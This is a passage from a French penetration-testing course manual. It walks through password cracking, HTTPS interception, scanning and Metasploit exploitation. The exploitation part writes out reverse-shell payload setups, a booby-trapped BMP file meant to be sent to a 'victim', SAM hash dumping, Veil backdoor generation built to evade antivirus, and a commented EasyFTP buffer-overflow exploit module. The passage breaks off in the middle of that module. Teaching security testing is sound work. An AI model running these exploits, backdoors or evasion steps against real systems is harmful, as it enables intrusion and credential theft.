# Crackage des hashes contenus dans le fichier "example400.hash" à l'aide du dictionnaire "example.dict" # L'option -m permet de spécifier le type de hash (voir encadré "INFO" ci-dessous # L'option --force permet de force le crackage de mot de passe en cas d'erreur $ hashcat -m 400 FichierContenantLesHashes FichierContenantLeDictionnaire --force

57 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO : Pour afficher la liste des correspondances entre le numéro et le type de hash, utilisez la commande suivante : $ hashcat -h

❖ Chntpw Permet, entre autres, de supprimer le mot de passe d'un utilisateur de Windows. Nous devons comme pour l'outil "ophcrack", avoir un accès à la base SAM via un CD Live de Kali, par exemple. # Lancement de chntpw en mode interactif depuis un terminal $ chntpw -i EmplacementDuFichierSAM

21/11/2019

# Choisissez le menu pour éditer les données des utilisateurs

58 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Choisissez maintenant l'utilisateur concerné en indiquant son RID, ici l'utilisateur testman

# Il ne reste plus qu'à choisir l'option pour mettre à zéro le mot de passe de l'utilisateur sélectionné et de quitter le programme en sauvegardant les changements

❖ Ophcrack Ophcrack va nous permettre de cracker la base SAM d'un poste Windows. Pour cela, il faut démarrer la machine concernée sur un CD Live de Kali.

NDLR : Pour passer le clavier en français, taper la commande suivante dans un terminal : $ setxkbmap fr

21/11/2019

Pour que notre système d'exploitation Windows se monte automatiquement, il semble falloir ouvrir l'explorateur de fichiers (pcmanfm) et sélectionnez notre disque.

59 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois le démarrage terminé, rendez-nous à l'emplacement où s'est monté notre système Windows (par défaut dans le dossier /media/root/XXXX/).

# Lancement de l'outil "ophcrack" $ ophcrack L'utilisation du logiciel est très simple. Débutons par le chargement de la base SAM en utilisant le bouton "Load" puis "Encrypted SAM" situé à l'emplacement suivant : C:\Windows\system32\config

Cela nous retourne donc les utilisateurs disponibles avec les hashes des mots de passe correspondant. Deux cas de figures peuvent se présenter : ➢ Windows XP, Vista Si nous utilisons l'un de ces deux systèmes nous pouvons continuer avec les tables présentes dans ophcrack. Pour cela, rendez-vous sur https://ophcrack.sourceforge.io/tables.php et télécharger les tables désirées. Il ne reste plus qu'à les liées au logiciel via le bouton "Tables" et à cliquer sur le bouton "Crack" pour lancer la découverte du mot de passe. ➢ Toutes les versions de Windows

La méthode est très simple et consiste à utiliser un site pour effectuer le déchiffrement du hash. Nous utiliserons, pour notre exemple, le site https://hashkiller.co.uk/Cracker/NTLM pour nous fournir le résultat.

21/11/2019

Cette méthode fonctionne avec toutes les versions de Windows car elle se base du hash NTLM affiché par ophcrack lors du chargement de la base SAM.

60 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

❖ Crunch Crunch est un outil utile quand on a une idée du mot de passe utilisé. Il vient créer une liste de mot de passe en fonction des éléments qu'on lui indique : nombre de caractère mini / maxi, utilisation de MAJUSCULE, minuscules, chiffres ou encore caractères spéciaux. Pour plus de détail sur les options, n'oubliez pas de consulter le manuel de "crunch" via la commande : man crunch # Génération d'une liste de mot de passe commençant par le mot "pass" et suivi de 2 caractères de types chiffres donc la taille est de 6 caractères. $ crunch tailleMini tailleMaxi -t TypeDeCaractèreDuMotDePasse > FichierContenantLaListeGénérée

INFO : ▪ ▪ ▪ ▪

@ représente une minuscule , représente une majuscule % représente un chiffre ^ représente un caractère spécial

21/11/2019

❖ Hash-identifier Comme son nom l'indique Hash-identifier permet d'identifier le type de hashes. # Lancement de hash-identifier $ hash-identifier

61 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

❖ Findmyhash findmyhash permet de trouver le hash sur les bases de données publique. # Lancement de findmyhash # La notation du type de hash est accessible via le manuel de la commande : man findmyhash # L'option -h doit être suivi du hash à déchiffrer $ findmyhash typeDeHash -h Hash

NDLR : Il existe des sites spécialisés dans le déchiffrage de hash. ● https://passwordrecovery.io ● https://crackstation.net

9.3.1 Introduction Mitmproxy est un outil rapide, efficace et puissant permettant de trouver différentes vulnérabilités coté client en examinant le trafic HTTPS ou encore en rejouant les requêtes altérées auparavant.

21/11/2019

9.3 MITM Proxy

62 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Voici une liste des caractéristiques principales : ➢ ➢ ➢ ➢ ➢ ➢ ➢ ➢

Intercepter les requêtes et les réponses HTTP & HTTPS et les modifier à la volée Sauvegarder les conversations HTTP complètes pour les rejouer et les analyser plus tard. Rejouer le côté client d'une conversation http Rejouer les réponses HTTP d'un serveur précédemment enregistré Inverser le mode proxy pour rediriger le trafic vers un serveur spécifié Mode proxy transparent sous OSX et Linux Apporter des changements scriptés au trafic HTTP à l'aide de Python Les certificats SSL/TLS pour l'interception sont générés à la volée.

9.3.2 Mise en situation de mitm # Lancement de l'outil mitmproxy dans un terminal $ mitmproxy Pour notre exemple, nous allons utiliser la partie "filtre d'interception". Pour cela nous allons taper la lettre "i" dans le terminal mitmproxy.

21/11/2019

L'option "~q" va nous permettre d'inspecter toutes les requêtes avant de leurs données le droit de "forwarder"

63 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO : Voici la liste des options disponibles :

NDLR :

21/11/2019

Pour la partie suivante, le proxy de votre navigateur doit être activé

64 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

L'étape suivante consiste à ouvrir un site web : ici https://www.alphorm.com pour observer que notre requête se retrouve bien en attente dans l'outil mitm.

En cliquant dessus, nous avons accès à plus de détails sur cette requête.

INFO : Pour modifier la requête, il suffit d'appuyer sur la touche "e" et de choisir dans la liste l'élément à modifier.

Nous pouvons ainsi, par exemple, modifier une requête exécutant un script java et le remplacer par un autre que nous avons piéger avec Beef par exemple.

NDLR :

21/11/2019

La touche "q" permet de revenir en arrière

65 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour "forwarder" (faire suivre) chaque requête et ainsi les transmettre au serveur, il suffit d'appuyer sur la touche "a"

ALLER PLUS LOIN : Grace à l'outil mitmproxy, nous allons pouvoir analyser les requêtes HTTPS, surtout les pages de formulaire d'identification. Par le même principe qu'au-dessus, nous pouvons retrouver le couples login / mot de passe que nous avons indiqué.

Cela nous apprend donc qu'il ne faut pas faire confiance à d'autres réseaux que le vôtre, que le protocole HTTPS ne veut pas dire sécurisé et que l'usage d'un VPN est fortement recommandé sur des réseaux qui ne sont pas de confiance.

9.4 Scanning

Cet outil va nous permettre de détecter si un équilibreur de charge (load balancing) est utilisé sur un domaine défini. Grâce à cette information, nous pouvons savoir si une attaque par DDOS aura un réel impact. # Lancement de l'outil lbd $ lbd NomDuSiteAScanner

21/11/2019

9.4.1 lbd

66 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.4.2 xprobe2 Xprobe2 nous permettra de connaitre le système d'exploitation utilisé par notre site et bien plus encore : version du kernel, … Il est extrêmement puissant pour "bypasser" les firewalls, IDS ou encore NIDS comparer à l'outil nmap.

21/11/2019

# Lancement de l'outil xprobe2 sur notre cible $ xprobe2 AdresseIPDeNotreCible

67 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

NDLR : Il est possible de scanner l'intégralité d'un réseau à l'aide de la commande suivante : $ xprobe2 AdresseDuReseau/CDIR

Il est possible de vérifier les résultats de l'outil xprobe2 à l'aide de la commande nmap suivante : $ nmap -sS -O AdresseDeLaCible

POUR DE VRAI : J'ai rencontré un bug, sous Kali et Debian, que je n'ai pas réussi à corriger, surement lié à un problème UTF.

9.4.3 nmap Pour aller un peu plus loin dans nmap, nous allons l'utiliser avec des scripts. # Commande nmap avec une utilisation de script $ nmap -sV -script=NomDuScript AdresseDeLaCible ALLER PLUS LOIN :

21/11/2019

Une liste de script [NSE : Nmap Scripting Engine] est disponible à cette adresse : https://nmap.org/nsedoc/

68 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour notre exemple, nous allons utiliser le script "Vulscan" qui va nous permettre d'afficher les vulnérabilités de notre site de façon détaillée. Voici le lien où vous pourrez télécharger ce script : https://github.com/scipag/vulscan/archive/master.zip # Téléchargement de l'archive de vulscan $ wget https://github.com/scipag/vulscan/archive/master.zip # Décompression de l'archive $ unzip master.zip # Déplacement du dossier "vulscan-master" dans le dossier "scripts" de l'outil nmap $ mv vulscan-master/ /usr/share/nmap/scripts/ # Lancement de la commande associée $ nmap -sV --script=vulscan-master/vulscan.nse AdresseIPDeLaCible

9.4.4 metasploit # Lancement de la console metasploit $ msfconsole

21/11/2019

Nous pouvons commencer par rechercher les modules de scan dans metasploit à l'aide de la commande : search scanner

69 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Continuons en recherchant si le port 80 [HTTP] est ouvert sur notre cible. Pour cela voici les commandes a indiquées : $ use auxiliary/scanner/portscan/syn # N'oublions pas d'afficher les options pour renseigner les informations dont nous avons besoin $ show options

# Il ne nous reste plus, avant de lancer notre scan, qu'à indiquer l'interface réseau à utiliser, l'adresse IP de la cible, le port à scanner, et éventuellement à modifier le nombre de threads.

Allons un peu plus loin en recherchant les éventuels ports TCP ouvert sur notre cible. Pour cela voici les commandes a indiquées : $ use auxiliary/scanner/portscan/tcp

21/11/2019

$ set interface NomDeLInterface $ set rhosts AdresseIPDeLaCible $ set ports NuméroDuOuDesPortsAScanner $ set threads NombreDeThreads $ run

70 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Comme précédemment, nous affichons la liste des options à compléter. $ show options

# Indiquez ici l'adresse IP de la cible uniquement, avant de lancer notre scanner $ set rhosts AdresseIPDeLaCible $ run

Une dernière option que nous allons détailler, consiste à sonder les séquences IPID des hôtes et à la classifier. Pour cela voici les commandes à indiquer : $ use auxiliary/scanner/ip/ipidsaq

21/11/2019

# Comme précédemment, nous affichons la liste des options à compléter. $ show options

71 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Indiquez ici l'interface réseau à utiliser ainsi que l'adresse IP de la cible $ set interface NomDeLInterface $ set rhosts AdresseIPDeLaCible $ run

9.4.5 Nessus Nous considérons que l'outil Nessus est installé sur votre système. Commençons par nous connecter à Nessus en utilisant l'adresse suivante : https://127.0.0.1:8834 3 types de scans nous intéresse : ▪

Host Discovery : qui va nous permettre de découvrir les machines présentes sur un réseau définie.



Basic Network Scan : qui va effectuer par défaut l'analyse de vulnérabilité sur les ports les plus courant.



Advanced Scan : qui lui va plus loin

Ces 3 méthodes regorgent d'options intéressantes : planification du scan, notification par mail, définition des types de vulnérabilités recherchées, … Nous allons réaliser un "Basic Network Scan" pour notre exemple :

21/11/2019

➢ Nous indiquons le nom souhaité pour notre scan de vulnérabilité ainsi que l'adresse IP de la cible concernée

72 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES ➢ Une fois notre configuration sauvegardée, n'oubliez pas de lancer votre scan à l'aide de la fléche :

➢ Une fois le scan terminé, nous pouvons voir un résumé des vulnérabilités trouvées avec leurs criticités

➢ Pour plus de détail, il est possible de cliquer sur l'adresse IP de la cible.

21/11/2019

➢ Pour chaque faille trouvée, nous pouvons accéder à des détails comme la description de la vulnérabilité, la solution pour la corriger, des liens de référence et même une session "Output" qui nous permet d'éliminer tout faux-positif.

73 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES ➢ Pour tester cette vulnérabilité, nous allons essayer de nous connecter avec les informations fournies dans la partie "Output"

21/11/2019

➢ Nous voyons donc que cette vulnérabilité est exploitable !!

74 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

ALLEZ PLUS LOIN : Il est possible d'exporter le scan en différents formats : PDF, HTML, CSV, … à l'aide du bouton "Report" et "Export"

Pour créer un rapport clair et précis comme ci-dessous :

9.4.6 Recon-ng Framework Il s'agit d'un outil "Next Generation Web Reconnaissance", codé en python et disponible sur le dépôt du créateur Bitbucket. Il est, de plus, diffusé sous licence GPL. Ce logiciel va réaliser, de façon efficace et rapide, une reconnaissance publique de notre cible # Lancement de l'outil "recon-ng" $ recon-ng # Création du workspace $ workspaces add facebook # Ajout du domaine à tester $ add domains facebook.com

21/11/2019

# Vérification de l'ajout du domaine $ show domains

75 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Chargement de l'outil "netcraft" qui nous permettra d'analyser les sous-domaines de facebook $ load netcraft # Pour lancer le scan, utiliser la commande suivante : $ run

# Le module "brute-host" va nous permettre de faire un lien entre les noms de domaine et les sousdomaines au niveau du DNS $ load recon/domains-hosts/brute_hosts $ run

21/11/2019

# Le module "brute-suffix" affiche tous les suffixes du domaine facebook $ load recon/domains-domains/brute_suffix $ run

76 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Le module "resolve" permet de récupérer les adresses en fonction des noms de domaine $ load recon/hosts-hosts/resolve $ run

# Affichage de la base de donnée des hosts $ show hosts

# Le module "reverse_resolve" permet de récupérer le nom des hosts en fonction des adresses IP déjà en notre possession $ load recon/hosts-hosts/reverse_resolve $ run

21/11/2019

# Le module "freegeoip" va nous permettre de géolocaliser les adresses du domaine $ load recon/hosts-hosts/freegeoip $ run

77 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

POUR DE VRAI : Dans cette dernière partie, j'ai rencontré des problèmes avec l'utilisation de l'outil "recon-ng". Les modules ne semblaient pas vouloir se charger avec ma VM de Kali. J'ai donc installé recon-ng sur ma VM Debian (apt install recon-ng) pour résoudre ce problème. De plus le module "freegeoip" ne semblait pas intégré à ma version installée sous ma Debian. J'ai essayé de l'ajouter manuellement à l'aide d'un dépôt GitHub mais cela n'a rien changé.

ALLER PLUS LOIN : On peut voir les différentes options disponibles à l'aide de la commande suivante : $ load recon

9.4.7 Openvas # Installation du paquet "openvas" $ apt install openvas # Installation de l'outil "openvas" # !! L'installation peut prendre un certain temps !! # Un utilisateur "admin" et un mot de passe aléatoire sont créés en fin d'installation $ openvas-setup

21/11/2019

# Vérification de l'installation $ openvas-check-setup

78 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois, l'installation d'openvas terminée, vous pourrez vous connecter avec vos identifiants à l'adresse suivante : https://localhost:9392

Notre outil est divisé en plusieurs menus : o o o o o o o o

Dashboard : visualisation des diverses informations Scans : regroupe les tâches effectuées, les rapports, les résultats, les notes Assets : regroupe les hosts à scanner SecInfo : Liste les failles de nos bases de données : CVE, CPE, CERT, … Configuration : Gestion de la liste des ports à scanner, les cibles, les alertes par mail, les formats de rapport, les scanners, les filtres, les tags, les permissions, … Extras : Gestion des éléments supprimés, les performances, calculatrice du niveau de risque Administration : Gestion des utilisateurs, groupes, rôles Help : Affichage de l'aide

Commençons maintenant par la création d'un scan vers notre cible. et indiquez seulement adresse de la cible

21/11/2019

# Menu Scans -> Tasks -> Créer un scan (mode wizard)

79 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

NDLR : Au vu de la taille de notre base de données, le scan peut prendre un temps important

Une fois le scan terminé, nous pouvons consulter ou encore exporter le rapport généré via le menu Scans -> Report

21/11/2019

Chaque vulnérabilité est classée en différents critères : criticité, ports utilisés, hosts, … Un clic sur la faille permet d'avoir un détail complet : description, impact, solution, méthode de vulnérabilité utilisée, références ….

80 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.5 Exploitation 9.5.1 Les cibles Pour rappel, l'exploitation doit être précise, rapide et suivre une méthodologie. C'est pour cela que le pentesteur doit absolument favoriser le "threat modeling" [Modélisation des menaces] afin d'avoir une attaque la plus efficace possible. Tout d'abord, il est judicieux de définir le type de cible en 3 parties : selon le niveau d'information que la cible peut nous rapporter mais aussi selon le but de notre pentest : ▪ ▪ ▪

Primaire Secondaire Tertiaire

9.5.2 Threat Modeling

21/11/2019

Le "threat modeling" doit être effectué à chaque réalisation d'un pentest. Le but est d'identifier, dénombrer et classer par ordre de priorité les vulnérabilités possibles en fournissant une analyse des vecteurs d'attaque les plus probables et des actifs les plus recherchés. Le tout du point de vue d'un attaquant hypothétique. La modélisation des menaces répond à des questions telles que "Où sont les actifs de grande valeur ? Quelles sont les attaques le plus vulnérable ? Quelles sont les menaces les plus pertinentes ? et y a-til un vecteur d'attaque qui pourrait passer inaperçu ?

81 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.5.3 Mise en pratique de quelques outils ➢ Rechercher, récupérer et exécuter des exploits La première chose que nous pouvons réaliser est d'utiliser la command "ping" pour tester la présence de notre cible

Passons ensuite à la récupération des services tournant cette machine à l'aide l'outil "nmap"

Pour la suite, nous allons nous concentrer sur le service Samba (très souvent vulnérable). Metasploit va nous aider à trouver une vulnérabilité. # Lancement de metasploit $ msfconsole

21/11/2019

# Recherche des vulnérabilités assignées à samba $ search samba

82 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO : Il est recommandé d'utiliser une vulnérabilité ayant un "rank" de type excellent pour maximiser nos chances d'exploitation. Pour en savoir plus sur un exploit, il est possible d'utiliser la commande "info" $ info /exploit/multi/samba/usermap_script

# Utilisation de l'exploit "usermap_script" $ use /exploit/multi/samba/usermap_script # Affichage des options $ show options # Définition des options $ set RHOSTS AdresseIpDeLaCible $ set RPORT NumeroDePort

# Choix d'un payload pour la connexion $ set PAYLOAD cmd/unix/reverse # Visualisation des options du payload $ show options

21/11/2019

# Définition des options du payload $ set LHOST AdresseIpDeLAttaquantKali # Lancement de l'exploit $ exploit

83 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous avons donc accès à un shell connecté sur notre machine cible. Nous pouvons donc utiliser des commandes tels que hostname, uname -a ou encore whoami.

Nous allons exploiter une vulnérabilité (buffer overflow) du logiciel Chasys Draw IES (fichier d'installation dans les ressources Alphorm) via metasploit. # Commençons par lancer la console metasploit $ msfconsole

21/11/2019

➢ Exploitation avancée avec Metasploit

84 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Recherchons un exploit connu pour ce logiciel $ search chasys

NDLR : N'oubliez pas d'utiliser la commande "info" pour avoir les détails sur cet exploit : $ info exploit/windows/fileformat/chasys_draw_ies_bmp_bof

# Chargement de l'exploit $ use exploit/windows/fileformat/chasys_draw_ies_bmp_bof # Affichage des options $ show options

# Choix d'un payload pour la connexion $ set PAYLOAD windows/meterpreter/reverse_tcp # Visualisation des options du payload $ show options # Définition des options du payload $ set LHOST AdresseIpDeLAttaquantKali

21/11/2019

# Lancement de l'exploit $ exploit

85 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous remarquons donc que notre fichier "piégé" a été crée dans le dossier "/root/.msf4/local/msf.bmp". Il ne reste plus qu'à envoyer ce fichier à la victime. Nous allons nous mettre en mode écoute, dans l'attente d'une connexion, via le fichier transmis par notre cible # Chargement de l'exploit $ use exploit/multi/handler # Choix d'un payload pour la connexion $ set PAYLOAD windows/meterpreter/reverse_tcp # Visualisation des options du payload $ show options # Définition des options du payload $ set LHOST AdresseIpDeLAttaquantKali

21/11/2019

# Lancement de l'exploit $ exploit

86 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Lorsque la victime ouvre notre image piégée, une connexion s'initialise et nous permet un grand nombre d'action.

Voici une liste non exhaustive des possibilités d'exploitation sur notre cible :

21/11/2019

❖ Dumper le contenu de la base SAM : $ hashdump

87 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES ❖ Récupérer un screenshot : $ screenshot

❖ Récupérer des informations sur le système : $ sysinfo

ALLER PLUS LOIN : Pour avoir accès à la liste complète des possibilités d'exploitation, nous pouvons utilisés la commande "info" : $ info

➢ Team Server Armitage Il est possible d'utiliser l'outil "Armitage" de façon partagée avec votre équipe. Pour cela, voici les commandes à utiliser :

21/11/2019

# Rendez-vous dans le dossier "Armitage" $ cd /usr/share/armitage # Lancement de teamserver $ ./ teamserver AdresseIP MotDePasse

88 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

NDLR : Le port par défaut utilisé par teamserver est le 55553

Il ne reste plus qu'à informer notre équipe de l'adresse et du mot de passe à utiliser. ➢ Scripting avec Armitage # Commençons par lancer l'outil "Armitage" $ armitage NDLR : Si vous avez l'erreur suivante :

Lancer la commande : $ msfdbinit pour initier la base de données et corriger ce problème

21/11/2019

# Pour accéder à la console de scripting, rendez-vous dans le menu "View" → "Script Console"

89 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Un onglet "cortana" apparait. Cortana est un langage de scripting proche du perl. La commande "help" permet de nous afficher plus d'informations dont les commandes disponibles, n'hésitez pas à consulter cette documentation : http://fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf ALLER PLUS LOIN : Il est possible en effectuant quelques recherches sur le net d'accéder à des scripts déjà existant comme par exemple : https://github.com/rsmudge/cortana-scripts Pour les intégrer à Armitage, rien de plus simple, il vous suffira de télécharger le fichier avec l'extension .cna. Ensuite via le menu "Armitage" →"Script" puis à l'aide du bouton "Load", il ne restera plus qu'à sélectionner notre fichier.cna

Dans la partie suivante, nous allons créer un script qui viendra scanner certains ports à chaque ajout d'hôte dans Armitage. Script scan.cna : # MSF port scanner

21/11/2019

on host_add { println("[*] MSF Port Scanner New Host OpenPorts on $1"); $console = console(); cmd($console, "use auxiliary/scanner/portscan/tcp"); cmd($console, "set THREADS 12"); cmd($console, "set PORTS 139, 143"); # enter other ports as required cmd($console, "set RHOSTS $1"); cmd($console, "run -j"); cmd($console, "use auxiliary/scanner/discovery/udp_sweep"); cmd($console, "set THREADS 12"); cmd($console, "set BATCHSIZE 256"); cmd($console, "set RHOSTS $1"); cmd($console, "run -j"); db_sync(); }

90 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Comme dans la procédure précédente, nous allons charger notre script "scan.cna" dans Armitage. Lors de l'ajout d'un nouvel hôte, on s'aperçoit que notre script se lance automatiquement.

➢ Bypasser détection d'antivirus Pour nous permettre de créer des backdoors indétectables par les antivirus ou encore les IDS, nous allons utiliser l'outil "Veil". Pour débuter, nous allons détailler l'installation de cet outil : # Installation du paquet "veil" $ apt install veil # Installation et configuration du programme (veuillez être patient, l'installation est assez longue) $ /usr/share/veil/config/setup.sh --force --silent # Lancement de l'outil $ veil

Un nouveau menu s'affiche et nous indique les commandes et le nombre de payload disponibles.

21/11/2019

# Nous utiliserons l'outil "Evasion" $ use 1

91 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Enumération des différents types de payloads $ list

INFO : Il est possible d'avoir plus de détail sur un payload en utilisant la commande "info" $ info NuméroDuPayload

21/11/2019

# Nous allons choisir le payload "c/meterpreter/rev_tcp.py" $ use 7

92 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Définition des options du payload $ set LHOST AdresseIpDeLAttaquantKali

# Lancement de la création de notre fichier piégé $ generate

21/11/2019

Il ne nous restera plus qu'à indiquer le nom du fichier de sortie pour le générer et voir s'affiche son emplacement.

93 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO : Nous pouvons, par précaution, vérifier que le hash de notre payload n'apparait pas dans sur le site VirusTotal. $ checkvt

POUR DE VRAI : J'ai souhaité analyser notre fichier généré avec un antivirus et malheureusement il a été détecté comme infecté. Je l'ai donc désactivé pour le test, lancer msfconsole en mode écoute pour vérifier son bon fonctionnement.

➢ Scripting Metasploit Nous allons détailler, sous forme de commentaire, le script "easyftp_mkd_fixret.rb" $ gvim /usr/share/metasploit-framework/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb

21/11/2019

// Commentaire sur l'exploit ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## // Importation des différentes options de l'exploit (LHOST, RHOSTS, …)

94 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES class MetasploitModule < Msf::Exploit::Remote // Classification du niveau de l'exploit Rank = GreatRanking // Importation des différentes options du protocole FTP de l'exploit include Msf::Exploit::Remote::Ftp // Définition de notre exploit : Nom, Description, Auteur, Référence, Plateforme, Versions utilisées def initialize(info = {}) super(update_info(info, 'Name' => 'EasyFTP Server MKD Command Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which leads to a stack based buffer overflow. NOTE: EasyFTP allows anonymous access by default. However, in order to access the 'MKD' command, you must have access to an account that can create directories.

This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'. This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by 'fixing' the return address post-exploitation. See references for more information. }, 'Author' => [ 'x90c ', # original version 'jduck' # port to metasploit / modified to use fix-up stub (works with bigger payloads) ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '62134' ], [ 'EDB', '12044' ], [ 'EDB', '14399' ] ], // Comportement par défaut de l'exploit 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Privileged' => false, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x0a\x0d\x2f\x5c",

21/11/2019

After version 1.7.0.12, this package was renamed "UplusFtp".

95 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x004041dc } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x00404481 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x00404441 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe ], 'DisclosureDate' => 'Apr 04 2010', // Possibilité d'indiquer une cible par défaut 'DefaultTarget' => 0)) end // Définition de la vulnérabilité de la cible ou non def check connect disconnect // Définition au niveau de la bannière utilisée if (banner =~ /BigFoolCat/) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def make_nops(num) "C" * num end // Définition de l'exploit def exploit connect_login

21/11/2019

# NOTE: # This exploit jumps to ebp, which happens to point at a partial version of # the 'buf' string in memory. The fixRet below fixes up the code stored on the # stack and then jumps there to execute the payload. The value in esp is used # with an offset for the fixup. fixRet_asm = %q{

96 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES mov edi,esp sub edi, 0xfffffe10 mov [edi], 0xfeedfed5 add edi, 0xffffff14 jmp edi } // Info : metasploit peut exécuter du code en assembleur fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string buf = '' // Affichage des adresses de retour print_status("Prepending fixRet...") buf